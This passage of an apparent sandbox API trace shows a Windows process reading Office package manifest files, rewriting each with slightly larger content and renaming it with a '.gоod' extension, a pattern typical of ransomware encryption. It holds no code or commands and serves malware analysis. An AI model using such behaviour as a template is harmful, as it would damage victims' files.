(hObject=0x7ec) returned 1 [0119.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.247] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0119.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0119.247] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x434a02b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xba5f3)) returned 1 [0119.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0119.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.gоod")) returned 1 [0119.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0119.248] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x35808a8 | out: lpFileInformation=0x35808a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0119.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0119.248] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0119.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ec [0119.248] GetFileType (hFile=0x7ec) returned 0x1 [0119.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0119.248] GetFileType (hFile=0x7ec) returned 0x1 [0119.248] GetFileSize (in: hFile=0x7ec, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0119.248] ReadFile (in: hFile=0x7ec, lpBuffer=0x3581170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3581170*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0119.250] CloseHandle (hObject=0x7ec) returned 1 [0119.580] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0119.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.581] GetFileType (hFile=0x6e4) returned 0x1 [0119.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0119.581] GetFileType (hFile=0x6e4) returned 0x1 [0119.581] WriteFile (in: hFile=0x6e4, lpBuffer=0x34946a0*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x34946a0*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0119.582] CloseHandle (hObject=0x6e4) returned 1 [0119.582] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.582] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0119.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0119.582] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x437cc7f1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0119.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0119.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0119.583] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0119.583] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x3495a08 | out: lpFileInformation=0x3495a08*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0119.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0119.583] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0119.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.584] GetFileType (hFile=0x6e4) returned 0x1 [0119.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0119.584] GetFileType (hFile=0x6e4) returned 0x1 [0119.584] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x4ed [0119.584] ReadFile (in: hFile=0x6e4, lpBuffer=0x34962d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x34962d0*, lpNumberOfBytesRead=0x1feed338*=0x4ed, lpOverlapped=0x0) returned 1 [0119.585] CloseHandle (hObject=0x6e4) returned 1 [0119.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0119.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.613] GetFileType (hFile=0x6e4) returned 0x1 [0119.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0119.613] GetFileType (hFile=0x6e4) returned 0x1 [0119.613] WriteFile (in: hFile=0x6e4, lpBuffer=0x3510080*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x3510080*, lpNumberOfBytesWritten=0x1feed248*=0x4f0, lpOverlapped=0x0) returned 1 [0119.614] CloseHandle (hObject=0x6e4) returned 1 [0119.614] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.614] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0119.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0119.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4381893c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4f0)) returned 1 [0119.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0119.615] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.gоod")) returned 1 [0119.615] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0119.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x35113e8 | out: lpFileInformation=0x35113e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863)) returned 1 [0119.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0119.616] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0119.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0119.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0119.616] GetFileType (hFile=0x6e4) returned 0x1 [0119.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0119.616] GetFileType (hFile=0x6e4) returned 0x1 [0119.616] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x863 [0119.616] ReadFile (in: hFile=0x6e4, lpBuffer=0x3512028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x3512028*, lpNumberOfBytesRead=0x1feed338*=0x863, lpOverlapped=0x0) returned 1 [0119.701] CloseHandle (hObject=0x6e4) returned 1 [0121.740] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0121.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0121.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.741] GetFileType (hFile=0x768) returned 0x1 [0121.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0121.741] GetFileType (hFile=0x768) returned 0x1 [0121.742] WriteFile (in: hFile=0x768, lpBuffer=0x35cc0e0*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x35cc0e0*, lpNumberOfBytesWritten=0x1feed248*=0x870, lpOverlapped=0x0) returned 1 [0121.742] CloseHandle (hObject=0x768) returned 1 [0121.743] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0121.743] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0121.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0121.743] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x44c79941, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x870)) returned 1 [0121.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed330) returned 1 [0121.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.gоod" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.gоod")) returned 1 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed3b0) returned 1 [0121.744] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x35cd448 | out: lpFileInformation=0x35cd448*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863)) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed370) returned 1 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0121.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.744] GetFileType (hFile=0x768) returned 0x1 [0121.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0121.744] GetFileType (hFile=0x768) returned 0x1 [0121.744] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1feed408 | out: lpFileSizeHigh=0x1feed408*=0x0) returned 0x863 [0121.744] ReadFile (in: hFile=0x768, lpBuffer=0x35ce088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1feed338, lpOverlapped=0x0 | out: lpBuffer=0x35ce088*, lpNumberOfBytesRead=0x1feed338*=0x863, lpOverlapped=0x0) returned 1 [0121.746] CloseHandle (hObject=0x768) returned 1 [0122.287] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecd40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed260) returned 1 [0122.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0122.288] GetFileType (hFile=0x7c8) returned 0x1 [0122.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1feed1d0) returned 1 [0122.289] GetFileType (hFile=0x7c8) returned 0x1 [0122.289] WriteFile (in: hFile=0x7c8, lpBuffer=0x340f6c0*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x1feed248, lpOverlapped=0x0 | out: lpBuffer=0x340f6c0*, lpNumberOfBytesWritten=0x1feed248*=0x870, lpOverlapped=0x0) returned 1 [0122.290] CloseHandle (hObject=0x7c8) returned 1 [0122.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", lpFilePart=0x0) returned 0x68 [0122.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.gоod", nBufferLength=0x105, lpBuffer=0x1feecee0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.gоod", lpFilePart=0x0) returned 0x6d [0122.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1feed370) returned 1 [0122.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x1feed450 | out: lpFileInformation=0x1feed450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x451b0904, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, 